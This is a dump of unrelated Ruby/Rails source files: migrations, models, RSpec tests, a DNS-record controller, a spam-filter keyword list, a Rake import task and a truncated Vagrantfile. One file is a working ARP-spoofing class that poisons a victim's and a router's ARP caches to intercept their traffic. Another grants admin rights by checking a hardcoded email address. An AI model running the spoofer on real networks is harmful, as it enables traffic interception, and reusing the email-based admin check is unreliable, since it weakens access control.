class AddSponsorsToInitiatives < ActiveRecord::Migration
def change
add_column :initiatives, :other_sponsor, :string
add_column :initiatives, :sponsors_count, :integer, default: 0
create_table :initiatives_members, id: false do |t|
t.integer :initiative_id
t.integer :member_id
end
add_index :initiatives_members, :initiative_id
add_index :initiatives_members, :member_id
end
end
|
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
map '/' do
run Tix::Application
end
map '/resque' do
# key in initializers/session_store.rb
# secret in initializers/secret_token.rb
# We're doing this so that the same cookie is used across
# Resque Web and the Rails App
use Rack::Session::Cookie, :key => '_tix_session',
:secret => Tix::Application.config.secret_token
# Typical warden setup but instead of having resque web handle
# failure, we'll pass it off to the rails app so that devise
# can take care of it.
use Warden::Manager do |manager|
manager.failure_app = Tix::Application
manager.default_scope = Devise.default_scope
end
# what the heck is this??
# run Tix::Resque
end |
class TagTopic < ActiveRecord::Base
attr_accessible :name
has_many :taggings,
:class_name => "Tagging",
:primary_key => :id,
:foreign_key => :tag_topic_id
has_many :tagged_urls, :through => :taggings, :source => :tagged_url
def self.most_popular_links_in_category(name)
# can do direct SQL queries in Rails
# e.g.,
# User.find_by_sql(["SELECT * FROM users WHERE email = ?", "imurchie@gmail.com"])
ShortenedUrl
.select("shortened_urls.*, COUNT(*) AS visit_count")
.joins(:tag_topics)
.joins(:taggings)
.joins(:visits)
.group(:visited_url_id)
.order("COUNT(*) DESC")
.where("tag_topics.name = ?", name)
.limit(10)
end
end
|
class AddStatusToParticipants < ActiveRecord::Migration
def change
add_column :participants, :status, :integer, deafult: :created
end
end
|
require 'rails_helper'
RSpec.describe User, type: :model do
it "should has a valid factory" do
expect(FactoryGirl.create(:user)).to be_valid
end
context "validations" do
it {is_expected.to validate_presence_of(:kind) }
end
end
|
class County < ActiveRecord::Base
has_many :parishes
has_many :towns
has_many :users
def parishes_and_towns_for_grouped_select
return {
'Vallad' => parishes.order("name").map{ |x| [x.name, x.name] },
'Linnad' => towns.order("name").map{ |x| [x.name, x.name] }
}
end
def to_s
name
end
end |
require "rails_helper"
describe AppointmentsController, type: :controller do
describe "GET #new" do
it "sets appointment to be an intance of Appointment" do
get :new
expect(assigns[:appointment]).to be_a_new Appointment
end
it "renders new template" do
get :new
expect(response).to render_template :new
end
end
describe "POST #create" do
context "with valid attribute" do
it "creates an appointment" do
valid_attributes = attributes(description: "This is a description")
expect do
post :create, appointment: valid_attributes
end.to change { Appointment.count }.by(1)
end
it "redirects to root" do
valid_attributes = attributes(description: "This is a description")
post :create, appointment: valid_attributes
expect(response).to redirect_to root_path
end
end
end
context "with invalid attributes" do
it "renders new template" do
invalid_attributes = attributes(description: nil)
post :create, appointment: invalid_attributes
expect(response).to render_template :new
end
end
def attributes(description:)
{
description: description,
"appointment_schedule(1i)": 2016,
"appointment_schedule(2i)": 2,
"appointment_schedule(3i)": 3,
"appointment_schedule(4i)": 13,
"appointment_schedule(5i)": 02
}
end
end
|
class CreateCountries < ActiveRecord::Migration[5.2]
def change
create_table :countries do |t|
t.string :name, :limit => 50
t.decimal :latitude, :precision => 10, :scale => 10
t.decimal :longitude, :precision => 10, :scale => 10
t.timestamps
end
end
end
|
# == Schema Information
#
# Table name: lesson_categories
#
# id :integer not null, primary key
# name :string(255)
# course_id :integer
# created_at :datetime
# updated_at :datetime
# flagged :boolean default("f")
#
require 'rails_helper'
RSpec.describe LessonCategory, :type => :model do
describe 'validation' do
it { is_expected.to validate_presence_of :course }
it { is_expected.to validate_presence_of :name }
it do
is_expected.to validate_uniqueness_of(:name).scoped_to(
:course_id
)
end
end
end
|
class JobApplication < ActiveRecord::Base
attr_accessible :interview_on, :remarks, :job_seeker_id, :job_id
state_machine :initial => :applied do
event :rejected do
transition :applied => :rejected
end
event :shortlist do
transition :applied => :shortlisted
end
event :calling_for_interview do
transition :shortlisted => :calling_for_interview
end
event :called_for_interview do
transition :calling_for_interview => :given_offer
end
event :accepted_offer do
transition :given_offer => :accepted_offer
end
event :rejected_offer do
transition :given_offer => :rejected_offer
end
end
belongs_to :job
belongs_to :job_seeker
# validate :validate_interview_schedule, :unless => proc { |a| a.interview_on.blank? }
# validates :remarks, :presence => { :message => "Please Enter a Valid Place and Time" }, :if => :remarks_present
# validate :validate_interview_schedule, :unless => proc { |application| application.interview_on.blank? }
private
def validate_interview_schedule
unless interview_on
errors.add(:interview_on, "must be Entered correctly")
else
check_for_past_date(interview_on)
end
end
def check_for_past_date(interview_on)
if interview_on < Date.today
errors.add(:interview_on, "cannot be scheduled in past")
end
end
end
|
class ReviewCallbacksJob
@queue = :medium
def self.perform(review_id, new_record, just_published)
ActiveRecord::Base.verify_active_connections!
new(review_id, new_record, just_published).perform
end
def initialize(review_id, new_record, just_published)
@review, @new_record = Review.find(review_id), new_record
@just_published = just_published
end
def perform
update_purchase_transaction_product if @new_record
update_user_tags
capture_affiliate_event
update_user_stats
update_product_stats
send_new_review_notifications if @just_published
log_activity
update_character_count
end
private
def update_purchase_transaction_product
PurchaseTransactionProduct.
for_purchaser_and_product(@review.user.email, @review.product.id).
try :reviewed!, @review
end
def update_user_tags
@review.tags.select { |tag| tag.kind == :about_me }.each do |tag|
@review.user.tags.create :value => tag.value, :kind => :about_me
end
end
def capture_affiliate_event
AffiliateEvent.capture_affiliate_event @review
end
def update_user_stats
return if @review.user.proxy_user?
@review.user.update_review_counts
@review.user.update_most_recent_review_at
end
def update_product_stats
@review.product.update_stats
end
def send_new_review_notifications
ETTriggeredSendAdd.send_new_review_notifications @review
end
def log_activity
UserActivity.reviewed @review if @just_published
if @review.status == 'rejected'
UserActivity.destroy_activity_for_subject @review
end
end
def update_character_count
@review.stat.calculate_character_count
end
end
|
require 'spec_helper'
describe Concert do
let(:user) {FactoryGirl.create(:user) }
before { @concert = user.concerts.create(performing_artists: "Radiohead, Cher") }
subject { @concert }
it { should respond_to(:performing_artists) }
it { should respond_to(:concert_date) }
it { should respond_to(:concert_time) }
it { should respond_to(:venue) }
it { should respond_to(:website) }
it { should respond_to(:user) }
it { should respond_to(:user_id) }
it { should be_valid }
describe "validations" do
describe "concert_date" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead, Cher")
expect(new_concert.concert_date).to eq("23/08/1988".to_date)
end
end
end
describe "concert_time" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead, Cher")
expect(new_concert.concert_time).to eq("TBD")
end
end
end
describe "venue" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead, Cher")
expect(new_concert.venue).to eq("TBD")
end
end
end
describe "website" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead, Cher")
expect(new_concert.website).to eq("http://www.last.fm/")
end
end
end
describe "location" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead, Cher")
expect(new_concert.location).to eq("OuterSpace")
end
end
end
describe "headliner" do
context "default" do
it "is provided" do
new_concert = user.concerts.create(performing_artists: "Radiohead")
expect(new_concert.headliner).to eq("Radiohead")
end
end
end
describe "user_id" do
context "not present" do
before { @concert.user_id = nil }
it { should_not be_valid }
end
end
end
end
|
# encoding: UTF-8
class Splam::Rules::BadWords < Splam::Rule
class << self
attr_accessor :bad_word_score, :suspicious_word_score
end
self.bad_word_score = 15
self.suspicious_word_score = 4
def run
bad_words = {}
bad_words[:pornspam] = %w( sex sexy porn gay erotica erotico topless naked viagra erotismo porno porn lesbian amateur tit\b)
bad_words[:pornspam] |= %w( gratis erotismo porno torrent bittorrent adulto videochat video 3dsex)
bad_words[:pornspam] << /pel?cula/ << /pornogr?fica/ << /er[o0]tic[oa]?/ << /er[0o]tismo/ << "portal porno" # srsly, spamming in spanish?
bad_words[:pornspam] |= %w( webcam free-web-host rapidshare)
bad_words[:callgirls] = [/(s[ℰⅇe]xy\s+|[ℂc]a[lℓℒ][lℓℒ]\s+)?[Gg][ℐi][rℜℝℛ][lℓℒ]s?/i, /[Eℰⅇℯe][Ss][ℭℂc][0ℴo][ℜℝℛr.][풕Tt]s?/i]
bad_words[:callgirls] << /[+0]?971[ -]?557[ -]?928[ -]?406/
bad_words[:ejaculation] = %w(ejaculation) << "premature ejaculation"
bad_words[:mandrugs] = %w( maleenhancement ) << "male improvement" << "sex drive" << "erection" <<
"erections" << "libido" << "irresistable" << "orgasms" << "male energy" << "geneticore" << "supplements" <<
"malemuscle" << "musclebuilding" << "muscle" << "male enhancement" << "erx"
bad_words[:viagraspam] = %w( cialis viagra pharmacy prescription levitra kamagra)
bad_words[:benzospam] = %w( ultram tramadol pharmacy prescription )
bad_words[:cashspam] = %w( payday loan jihad ) << "payday loan" << /jihad/
bad_words[:pharmaspam] = %w( xanax propecia finasteride viagra )
bad_words[:nigerian] = ["million pounds sterling", "dear sirs,", "any bank account", "winning notification", "western union", "diagnosed with cancer", "bank treasury", "unclaimed inheritance"]
bad_words[:hormone] = ["testo", "testosterone", "muscle"]
bad_words[:download] = ["jkb.download", "tax relief", "paroxyl.download", "/im/", ".download/im/", ".top/im/", ".top/l/", "download.php", ".site/"]
bad_words[:futbol] = ["vslivestreamwatchtv", "watchvslivestreamtv", ".xyz", "livestreamtv", "livestreamwatch"]
bad_words[:phero] = ["pheromone", "pherone", "milligrams", "weight loss"]
bad_words[:leadgen] = ["lead generation", "agile marketing", "marketing solutions", "please reply with STOP"]
bad_words[:sms] = ["send free sms"]
bad_words[:keto] = ["keto", "ketosis", "ketosis advanced", "keto diet", "keto burning", "diet", "pills", "bhb"]
# linkspammers
bad_words[:linkspam] = ["increase traffic", "discovered your blog", "backlinks", "sent me a link", "more visitors to my site", "targeted traffic", "increase traffic to your website", "estore"]
bad_words[:support] = ["customer-support-number", "third party tech support team",
"yahoo-support", "098-8579", "hp-printer-help", "yahoo customer service",
"getting attached with", "1800-875-393", "0800-098-8371", "800-098-8372", /[+]44[-]800/,
"800[-]098", /1[-]800[-]778/, /email-customerservice/, "yahoo experts", "1-800-778-9936",
"844-292", "[+]1[-]844", "800[-]921",
"facebook-support", "1-888-521-0120", "0800-090-3228", /0800[-]090/,
/(dlink|asus|linksys|gmail|brother|lexmark|hp|apple|facebook|microsoft|google|yahoo|safari|office|outlook)-(chrome|printer|browser|technical|email|365|customer)-(support|service)/,
"outlook-support", "888-201", "800-986-4764", "[(][+]1[)] 888", "[(][+]61[)] 1800",
"1-800-778-9936", "[+]1-800-826-806", "866-324-3042",
"supportnumberaustralia", "netgear router", "tutu app", "spotify premium apk",
"advertising inquiry for",
"Microsoft Office 365 Technical Support", "gmail support", "helpline number",
"MYOB support", "microsoftoutlookoffice", "emailonline", "onlinesupport",
"customercarenumber", "support-australia", "norton360-support",
/(Mac|Amazon|Amazon Prime|Norton Antivirus 360|AVG|garmin|Microsoft|Yahoo|Icloud|Kapersky Antivirus) (Tech Support|Support|Help|Customer Service|Customer Support) (Phone )?Number/,
/Support Number [+]1[-]844/,
"353-12544725",
"Chrome Customer Care", "helpline number",
"www.customer-helpnumber", "www.printer-customersupport",
"www.email-customerservice",
"www.customer", "www.printer",
"located in Bangalore"
]
bad_words[:india] = %w(hyderabad kolkota jaipur bangalore chennai) << "packers and movers" << "mover" << "moving company"
bad_words[:beats] = %w( beats dre headphones sale cheap ) << "monster beats" << "best online"
bad_words[:rolex] = %w( rolex replica watches oriflame )
bad_words[:wtf] = %w( bilete avion )
bad_words[:lawyer] = ["personal injury lawyer", "advertizement"]
# buying fake shitty brand stuff
bad_words[:bagspam] = %w(handbag louis louisvuitton vuitton chanel coach clearance outlet hermes bag scarf sale ralphlauren)
bad_words[:handbags] = %w( karenmillen michaelkors kors millen bags handbag chanel outlet tasche longchamp kaufen louboutin christianlouboutin)
bad_words[:blingspam] = %w( tiffany jewellery tiffanyco clearance outlet)
bad_words[:drugz] = %w(cbd hemp cannabis gummies)
bad_words[:diet] = ["nutritional information", "diet pills", "weight loss", "potions", "breast enlargement", "enlargement pills"]
bad_words[:uggspam] = %w(\buggs?\b \buggboots\b clearance outlet)
bad_words[:wedding] = ["wedding", "wedding dress", "weddingdress", "strapless"]
bad_words[:shoes] = ["Nike free", "Air max", "Valentino shoes", "Free run", "Nike", "Lebron James"]
bad_words[:mover] = ["Shifting", "Packing", "movers", "bangalore"]
bad_words[:hellofriend] = ["hello friend", "I found some new stuff", "dear,", "that might be useful for you"]
bad_words[:webcamspam] = %w( girls webcam adult singles) << /chat room(s?)/
bad_words[:gamereview] = %w( games-review-it.com game-reviews-online.com )
bad_words[:streaming] = %w( watchmlbbaseball watchnhlhockey pspnsportstv.com )
bad_words[:lh] =%w( coupon free buy galleries dating gallery hard hardcore video homemade celebrity ) << "credit card" << "my friend" << "friend sent me"
bad_words[:lh_2] = %w( adult pharmacy overnight shipping free hot movie nylon arab xxx) << "sent me a link"
bad_words[:lh_3] = %w( usa jersey nfl classified classifieds disney furniture camera gifts.com mp5 ) << "flash drive"
bad_words[:forum_spam] = ["IMG", "url="]
bad_words[:adblock] = %w(8107764125 9958091843 9783565359 vashikaran vashi karan vas hikarn vash ikaran punjab pondicherry kerala) << "voodoo" << "love marriage" << "love problem" <<
/\+91/ << "baba ji" << "babaji" << "<<<91" << "thailand" << /love .*?solution/ <<
"astrologer expert" << /black magi[ck]/ << /love spells?/ << /healing spells?/ << "ex wife"
bad_words[:bamwar] = [/bam[ <()>]*war[ <()>]*com/]
suspicious_words = %w( free buy galleries dating gallery hard hardcore homemade celebrity ) << "credit card" << "my friend" << "friend sent me"
suspicious_words |= %w( adult overnight free hot movie nylon arab ?????? seo generic live online)
suspicious_words << "forums/member.php?u=" << "chat room" << "free chat" << "yahoo chat" << "page.php"
bad_words[:dumps] = %w( dumps okta )
bad_words.each do |key,wordlist|
counter = 0
body = @body.downcase
wordlist.each do |word|
regex = word.is_a?(Regexp) ? word : Regexp.new("\\b(#{word})\\b","i")
results = body.scan(regex)
if results && results.size > 0
counter += 1
multiplier = results.size
multiplier = 5 if results.size > 5
add_score((self.class.bad_word_score ** multiplier), "nasty word (#{multiplier}x): '#{word}'")
# Add more points if the bad word is INSIDE a link
body.scan(/<a[^>]+>(.*?)<\/a>/).each do |match|
add_score self.class.bad_word_score ** 4 * multiplier, "nasty word inside a link: #{word}"
end
body.scan(/\bhttp:\/\/(.*?#{word})/).each do |match|
add_score self.class.bad_word_score ** 4 * match[0].scan(word).size, "nasty word inside a straight-up link: #{word}"
end
body.scan(/<a(.*?)>/).each do |match|
add_score self.class.bad_word_score ** 4 * match[0].scan(word).size, "nasty word inside a URL: #{word}"
end
end
if counter > (wordlist.size / 2)
add_score 50, "Lots of bad words from one genre (#{key}): #{counter}"
end
end
end
suspicious_words.each do |word|
results = body.scan(word)
if results && results.size > 0
add_score (self.class.suspicious_word_score * results.size), "suspicious word: #{word}"
# Add more points if the bad word is INSIDE a link
@body.scan(/<a[^>]+>(.*?)<\/a>/).each do |match|
add_score((self.class.suspicious_word_score * match[0].scan(word).size), "suspicious word inside a link: #{word}")
end
end
end
end
end
|
class DnsHostRecordsController < ApplicationController
authorize_resource :class => DnsHostRecord
protect_from_forgery except: :setip
respond_to :json,:html
def index
debug "DnszoneRecord index"
zone_id = params[:zone_id]
dns_host_records = DnsHostRecord.accessible_by(current_ability)
if zone_id.blank?
@zone = nil
else
@zone = DnsZone.accessible_by(current_ability).find zone_id
dns_host_records = dns_host_records.where(:dns_zone => @zone)
end
unless params[:user_id].blank?
dns_host_records = dns_host_records.where(:user => User.accessible_by(current_ability).find(params[:user_id]))
end
@dns_host_records = DnsHostRecordDecorator.decorate_collection(dns_host_records)
if html_request?
index_bread
end
json_response = []
if json_request?
@dns_host_records.each do |record|
rcj = record.as_json(simple: true)
unless can?(:edit,record)
rcj['api_key']['access_token'] = nil
end
rcj['full_name'] = record.full_name
json_response << rcj
end
end
respond_to do |format|
format.html {
respond_with @dns_host_records
}
format.json {
render :json => json_response, :status => :ok
}
end
end
def edit
recordid = params[:id]
@dns_host_record = DnsHostRecord.accessible_by(current_ability).find(recordid)
@dns_host_record = @dns_host_record.decorate
respond_to do |format|
format.json {
render :json => @dns_host_record.as_json({:simple => true}), :status => :ok
}
format.html {
unless params[:partial].blank?
render :partial => 'edit_record' and return
else
edit_bread
end
}
end
end
def show
recordid = params[:id]
@dns_host_record = DnsHostRecord.accessible_by(current_ability).find(recordid).decorate
unless can?(:edit,@dns_host_record)
@dns_host_record.api_key.access_token=nil
end
show_bread
show_bread
respond_to do |format|
format.json {
render :json => @dns_host_record.as_json({:simple => true}), :status => :ok
}
format.html {
show_bread
}
end
end
def new
dnszoneid=params[:dns_zone_id]
if dnszoneid.blank?
@dns_zone = nil
else
@dns_zone = DnsZone.accessible_by(current_ability).find dnszoneid
end
@dns_host_record = DnsHostRecord.new
@dns_host_record.dns_zone_id = @dns_zone.id unless @dns_zone.nil?
if html_request?
unless params[:partial].blank?
render :partial => 'edit_record' and return
else
index_bread
add_breadcrumb "New DNS Record",new_dns_host_record_path
end
else
zones = DnsZone.accessible_by(current_ability)
render :json => {record: @dns_host_record, zoneselection: zones }, status: :ok
end
end
def update
record = DnsHostRecord.find(params[:id]).decorate
debug "Found record #{record}"
debug "New values: #{params}"
record.ipv4_address = params[:dns_host_ip_a_record][:address] unless params[:dns_host_ip_a_record].blank?
record.ipv6_address = params[:dns_host_ip_aaaa_record][:address] unless params[:dns_host_ip_aaaa_record].blank?
if current_client_user
record.ttl = if params[:ttl].blank?
Setting.default_ttl
else
params[:ttl]
end
else
record.ttl = Setting.default_ttl
end
saved = false
if record.update_remote
saved = record.save
end
respond_to do |format|
format.json {
if saved
render :json => record.as_json({:simple => true}), :status => :ok, :location => dns_host_record_path(record)
else
render :json => record.errors, :status => :bad_request
end
}
end
end
def setip
rec = DnsHostRecord.accessible_by(current_ability)
raise BadRequest.new unless rec.size == 1
rec = rec[0].decorate
rec.check_update({:ipv4 => params[:ipv4], :ipv6 => params[:ipv6], :ip => params[:ip], :remote => request.remote_ip})
debug rec
if rec.changed?
rec.update_remote
rec.save
stat = :ok
else
stat = :no_content
end
render :json => rec.as_json({:simple => true}), :status => stat, :location => dns_host_record_path(rec)
end
def create
dns_host_record = DnsHostRecord.new
# if ClientUser is logged in current user returns nil
dns_host_record.user = current_user
recparams = params[:dns_host_record]
logger.debug "Full params: #{params}"
if params.key? :dns_zone
dns_zone_id = params[:dns_zone]
if dns_zone_id.is_a? ActionController::Parameters
dns_zone_id = dns_zone_id[:id]
end
else
dns_zone_id = 0
end
zone = DnsZone.accessible_by(current_ability).find dns_zone_id
dns_host_record.dns_zone = zone
dns_host_record.name = recparams[:name]
if current_client_user
dns_host_record.ttl = if recparams[:ttl].blank?
Setting.default_ttl
else
recparams[:ttl]
end
else
dns_host_record.ttl = Setting.default_ttl
end
logger.debug "Parameter: #{recparams}"
recd = DnsHostRecordDecorator.new dns_host_record
if dns_host_record.valid? && dns_host_record.save
saved = true
aaddr = params.has_key?(:dns_host_ip_a_record) ? params[:dns_host_ip_a_record][:address]:""
aaaaaddr = params.has_key?("dns_host_ip_aaaa_record") ? params[:dns_host_ip_aaaa_record][:address]:""
if aaddr.blank? && aaaaaddr.blank?
recd.address = request.remote_ip
else
recd.ipv4_address = aaddr.blank? ? nil:aaddr
recd.ipv6_address = aaaaaddr.blank? ? nil:aaaaaddr
end
saved = false
begin
saved = recd.update_remote
rescue => ex
logger.fatal ex
saved = false
else
saved = recd.save if saved
end
unless saved
dns_host_record.delete
end
else
saved = false
end
respond_to do |format|
format.json {
if saved
render :json => recd.as_json({:simple => true}), :status => :ok, :location => dns_host_record_path(recd)
else
render :json => recd.errors, :status => :bad_request
end
}
end
end
def destroy
recordid = params[:id]
recd = DnsHostRecord.accessible_by(current_ability).find(recordid).decorate
recd.delete_remote
del = recd.destroy
if current_client_user
back = client_dns_zone_path(recd.dns_zone)
else
back = root_path
end
respond_to do |format|
format.json {
render json: {:deleted => recordid}, status: :ok
}
format.html {
redirect_to back
}
end
end
private
def index_bread
if current_client_user
cu = ClientUserDecorator.new current_client_user
add_breadcrumb "Local domains for #{cu.full_name}",client_dns_zones_path
add_breadcrumb "Local records for #{cu.full_name}",dns_host_records_path
end
end
def show_bread
index_bread
add_breadcrumb "Details about #{@dns_host_record.full_name}", dns_host_record_path(@dns_host_record)
end
def edit_bread
show_bread
add_breadcrumb "Edit #{@dns_host_record.full_name}", edit_dns_host_record_path(@dns_host_record)
end
end
|
class AddEventTimeIndicies < ActiveRecord::Migration
def change
add_index :events, :start_datetime_utc
add_index :events, :end_datetime_utc
end
end
|
module AsciiArt
require_relative 'canvas'
class Painter
def initialize(print_file=nil)
@canvas = Canvas.instance
@brush = Brush.new('.', 0, 0)
@print_file = print_file
@printer
@scanner
at_exit { canvas.close }
end
COMMAND_KEYS = [
Canvas::KEY_UP,
Canvas::KEY_DOWN,
Canvas::KEY_LEFT,
Canvas::KEY_RIGHT,
9, # tab key character code
27, # esc key character code
'p'
]
def paint
canvas.paint(brush.x_pos, brush.y_pos, brush.stroke)
command_loop
end
def load_drawing(filename)
Scanner.new(filename).scan
brush.lifted = true
move_brush
command_loop
end
def command_loop
loop do
follow_commands
end
end
private
attr_accessor :scanner
attr_reader :canvas, :brush, :printer, :print_file
def follow_commands
char = canvas.accept_input
if COMMAND_KEYS.include?(char)
system_commands(char)
else
brush.stroke = char
end
move_brush
end
def move_brush
if brush.lifted
canvas.move(brush.x_pos, brush.y_pos)
else
canvas.paint(brush.x_pos, brush.y_pos, brush.stroke)
end
end
def system_commands(char)
inputs = {
Canvas::KEY_UP => proc { brush.move_up },
Canvas::KEY_LEFT => proc { brush.move_left },
Canvas::KEY_DOWN => proc { brush.move_down },
Canvas::KEY_RIGHT => proc { brush.move_right },
9 => proc { brush.raise_or_lower },
27 => proc { canvas.close },
'p' => proc {
printer = Printer.new(print_file ||= 'drawing.txt')
printer.print
}
}
inputs[char].call
end
end
end
|
class User < ActiveRecord::Base
has_many :authorizations
validates :name, :email, :presence => true
has_many :participations
has_many :events, through: :participations
def add_provider(auth_hash)
provider = auth_hash["provider"]
uid = auth_hash["uid"]
unless authorizations.find_by_provider_and_uid(provider, uid)
Authorization.create :user => self, :provider => provider, :uid => uid
end
end
def admin?
email == "twbaker88@gmail.com"
end
end
|
module Refinery
module Activities
class Activity < Refinery::Core::BaseModel
self.table_name = 'refinery_activities'
extend FriendlyId
friendly_id :name, :use => [:slugged]
acts_as_indexed :fields => [:name, :description, :rating]
attr_accessible :name, :cover_image_id, :description, :rating, :position, :gallery_id, :sub_name, :location_ids, :accommodation_ids, :image_id, :activity_type, :browser_title, :meta_description, :side_body
validates :name, :presence => true, :uniqueness => true
TYPES = %w(experience safari_type both)
belongs_to :cover_image, :class_name => '::Refinery::Image'
belongs_to :image, :class_name => '::Refinery::Image'
belongs_to :gallery, :class_name => '::Refinery::Portfolio::Gallery'
has_and_belongs_to_many :accommodations, :class_name => '::Refinery::Accommodations::Accommodation', :join_table => 'refinery_activities_accommodations'
has_and_belongs_to_many :locations, :class_name => '::Refinery::Locations::Location', :join_table => 'refinery_activities_locations'
has_and_belongs_to_many :posts, :class_name => 'Refinery::Blog::Post', :join_table => 'refinery_activities_posts'
default_scope { order(:position) }
end
end
end
|
require 'packetfu'
class Arpspoof
def Arpspoof.forward(forward)
if RUBY_PLATFORM =~ /darwin/
if forward then
`sysctl -w net.inet.ip.forwarding=1`
end
if !forward then
`sysctl -w net.inet.ip.forwarding=0`
end
else
if forward then
`echo 1 > /proc/sys/net/ipv4/ip_forward`
end
if !forward then
`echo 0 > /proc/sys/net/ipv4/ip_forward`
end
end
end
#initialize with router IP, victim IP, and desired interface, route and vic mac addresses are determined
#by crafting an ARP packet using host IP and MAC to determine the required information
def initialize(route_ip,vic_ip,interface)
@interface = interface
@ipcfg = PacketFu::Utils.whoami?(:iface=>@interface)
@route_ip = route_ip
@vic_ip = vic_ip
@route_mac = nil
route_mac_count = 0
while @route_mac.nil? && route_mac_count < 5 do
puts "Attempting to get router #{@route_ip} MAC address..."
@route_mac=PacketFu::Utils::arp(@route_ip,
:iface => @interface,
:eth_saddr=> PacketFu::Utils.ifconfig(@interface)[:eth_saddr],
:ip_saddr=>PacketFu::Utils.ifconfig(@interface)[:ip_saddr])
route_mac_count += 1
end
if @route_mac == nil then
puts "Couldn't determine router MAC"
exit 1
end
puts "Router MAC address obtained"
@vic_mac = nil
vic_mac_count = 0
while @vic_mac.nil? && vic_mac_count < 5 do
puts "Attempting to get victim #{@vic_ip} MAC address..."
@vic_mac = PacketFu::Utils::arp(@vic_ip,
:iface => @interface,
:eth_saddr=> PacketFu::Utils.ifconfig(@interface)[:eth_saddr],
:ip_saddr=>PacketFu::Utils.ifconfig(@interface)[:ip_saddr])
vic_mac_count += 1
end
if @vic_mac == nil then
puts "Couldn't determine victim MAC"
exit 1
end
puts "Victim MAC address obtained"
end
#starts arp spoofing process, continues until stop called
def spoof
@send_spoofs = true
arp_pkt_to_vic = PacketFu::ARPPacket.new()
arp_pkt_to_vic.eth_saddr = @ipcfg[:eth_saddr]
arp_pkt_to_vic.eth_daddr = @vic_mac
arp_pkt_to_vic.arp_saddr_mac = @ipcfg[:eth_saddr]
arp_pkt_to_vic.arp_daddr_mac = @vic_mac
arp_pkt_to_vic.arp_saddr_ip = @route_ip
arp_pkt_to_vic.arp_daddr_ip = @vic_ip
arp_pkt_to_vic.arp_opcode = 2
arp_pkt_to_route = PacketFu::ARPPacket.new()
arp_pkt_to_route.eth_saddr = @ipcfg[:eth_saddr]
arp_pkt_to_route.eth_daddr = @route_mac
arp_pkt_to_route.arp_saddr_mac = @ipcfg[:eth_saddr]
arp_pkt_to_route.arp_daddr_mac = @route_mac
arp_pkt_to_route.arp_saddr_ip = @vic_ip
arp_pkt_to_route.arp_daddr_ip = @route_ip
arp_pkt_to_route.arp_opcode = 2
while @send_spoofs do
arp_pkt_to_vic.to_w(@interface)
arp_pkt_to_route.to_w(@interface)
sleep 1
end
puts "Stopping Arpspoof"
puts "Sending correct ARP to victim"
arp_pkt_to_vic.eth_saddr = @route_mac
arp_pkt_to_vic.arp_saddr_mac = @route_mac
arp_pkt_to_vic.to_w(@interface)
puts "Sending correct ARP to router"
arp_pkt_to_route.eth_saddr = @vic_mac
arp_pkt_to_route.arp_saddr_mac = @vic_mac
arp_pkt_to_route.to_w(@interface)
end
#ends arp spoofing
def stop
@send_spoofs = false
end
end |
class BaseController < ApplicationController
layout 'dashboard-j'
before_action :authenticate_user!
include PublicActivity::StoreController
before_action :get_navbar_data
helper_method :mailbox, :conversation
rescue_from CanCan::AccessDenied do |exception|
redirect_to root_url, alert: exception.message
end
def get_navbar_data
if current_user
@mails =
# Rails.cache.fetch("mails", expires_in: 12.hours) do
mailbox.inbox(unread: true).order('created_at desc').limit(5)
# end
@activities_nav =
# Rails.cache.fetch("activites", expires_in: 12.hours) do
PublicActivity::Activity.order('created_at desc').where(recipient_id: current_user.id, recipient_type: 'User').limit(10)
# end
end
end
def set_advertisement(area)
banner = Banner.where(area: Banner.areas[area]).first
if banner
@banner_image = banner.desktop_image.url
@banner_url = banner.desktop_url
end
end
private
def mailbox
@mailbox ||= current_user.mailbox if current_user
end
def conversation
@conversation ||= mailbox.conversations.find(params[:id]) if params[:id]
end
end
|
#http://stackoverflow.com/questions/12028334/having-trouble-seeding-csv-file-into-rails-app
#rake csv:colix
require 'csv'
namespace :csv do
desc "Import CSV Data from COLI Census city data"
task :colix => :environment do
City.delete_all
csv_file_path = 'db/colix-mini.csv'
CSV.foreach(csv_file_path) do |row|
if row.length > 4
City.create!({
:name => row[0],
:composite => row[1],
:grocery => row[2],
:housing => row[3]
})
puts "Row added!"
end
end
end
end |
class EditForeignKeysToBandMembers < ActiveRecord::Migration[5.2]
def change
remove_foreign_key :band_members, :musicians
end
end
|
class Engine
attr_reader :x, :y
def initialize(x, y)
@x = x
@y = y
@directions = Hash.new(0)
@directions['f'] = 1
@directions['b'] = -1
end
def process(c, angle)
coeff = @directions[c]
@x = @x + coeff * Math.cos(angle)
@y = @y + coeff * Math.sin(angle)
end
end |
describe Aftonbladet do
use_vcr_cassette "requests"
let(:aftonbladet) { Aftonbladet.new }
it "should have some articles" do
aftonbladet.should have(19).articles
end
describe "attributes" do
let(:article) { aftonbladet.articles.first }
it "should have a correct title" do
article.title.should_not match(/^\d+. /)
end
it "should not have a blank title" do
article.title.should_not be_empty
end
it "should have a #published_at attribute" do
article.published_at.should be_instance_of(DateTime)
end
it "should have a #description" do
article.description.should_not be_empty
end
it "should have a valid #image_url" do
article.image_url.should match(%r{^http://mobil.aftonbladet.se})
end
it "should have an id" do
article.id.should be_instance_of(Fixnum)
article.id.should > 0
end
it "should have a url" do
article.url.should match(%r{http://www.aftonbladet.se/nyheter/article\d+.ab})
end
end
end |
class TestingJob
include Sidekiq::Worker
def perform(start_date, end_date)
puts "SIDEKIQ WORKER GENERATING REPORT FROM #{start_date} TO #{end_date}"
end
end |
class Level < ApplicationRecord
has_many :steps
has_many :questions, through: :steps
def self.first_level
Level.order(:order).first
end
def next
Level.find_by(order: order + 1)
end
end
|
require "socket"
require "launch.so"
module Launch
require "launch/version"
require "launch/job"
class << self
def jobs
message(Messages::GETJOBS).values.map(&Job.method(:from_launch))
end
end
end
|
Vagrant.configure("2") do |config|
config.vm.box = "centos/7"
master01_disk = './master01_secondDisk.vmdk'
master02_disk = './master02_secondDisk.vmdk'
master03_disk = './master03_secondDisk.vmdk'
node01_disk = './node01_secondDisk.vmdk'
node02_disk = './node02_secondDisk.vmdk'
config.vm.define "master01" do |kube|
kube.vm.hostname = "master01.myk8sdomain.com"
kube.vm.network "private_network", ip: "10.10.1.21"
kube.vm.network "private_network", ip: "192.168.1.21"
config.vm.provider :virtualbox do |vb|
